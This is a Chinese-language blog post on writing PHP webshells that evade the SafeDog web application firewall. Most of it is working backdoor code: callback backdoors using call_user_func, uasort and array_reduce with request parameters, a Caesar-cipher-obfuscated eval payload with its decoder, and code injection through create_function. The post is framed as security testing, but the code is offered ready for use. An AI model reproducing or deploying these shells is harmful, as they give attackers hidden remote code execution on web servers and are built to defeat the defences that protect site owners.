偶尔走失,从未离开

本文将介绍如何构造可绕过安全狗的木马

绕过安全狗的一些思路

测试环境:

Windows7 + Apache2 + PHP 5.4.45

安全狗更新日期:2017.9.11(最新)

0x01 利用回调函数绕过

文章第一部分的思路主要来自于p总:

https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html

如果我们调用函数A,而函数A在执行过程中执行了我们所提供的函数B,则这个函数B称为函数A的回调函数。

比如:

call_user_func('assert', $_REQUEST['pass']);

这里要注意的是,call_user_func的第一个参数,即回调函数不能是eval等,因为eval是一个语言结构,而不是一个函数。

这是最早的回调后门,它将我们的参数传入给assert函数,实现了后门的功能,不过目前已经可以被查杀了。
不过这类目前没有被查杀的函数,还有很多很多,比如:

  • uasort
<?php
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));

  • array_reduce
<?php
$e = $_REQUEST['e'];
$arr = array(1);
array_reduce($arr, $e, $_REQUEST['pass']);

0x02 利用古典密码学绕过

这里以凯撒密码为例,将payload字符串的ascii向右移动5位,生成混淆的payload

<?php
$arr='eval($_GET[x]);';

for($i=0;$i< strlen($arr);$i++)
{
    $arr[$i]=chr(ord($arr[$i])+5);
}
echo $arr;
?>

得到payload:

j{fq-)dLJY`}b.@

执行时反向解码:

<?php

$arr='j{fq-)dLJY`}b.@';

for($i=0;$i< strlen($arr);$i++)
{
    $arr[$i]=chr(ord($arr[$i])-5);
}
eval($arr);
?>

这里要注意是两个eval嵌套~

不仅仅是凯撒密码,CTF中用到的各种古典密码其实都可以用

0x03 利用create_function注入代码

利用该函数可以创建一个匿名函数:

create_function($args, $code)

会创建如下匿名函数:

fucntion_lambda_func($args)
{
    $code;
}

而这个匿名匿名函数将在eval()中执行:

所以我们可以闭合掉原函数来注入额外的代码,比如:

$code = "n;}$_POST[x];/*";

将会被拼接为:

funtion_lambda_func($args)
{
    n;
}
$_POST[x];
/*
}

最终代码:

<?php
$args = "1";
$code = "n;}$_GET[x];/*";
echo create_function($args,$code);
?>

参考自:

 标签: 安全狗

作者  :  watcher


添加新评论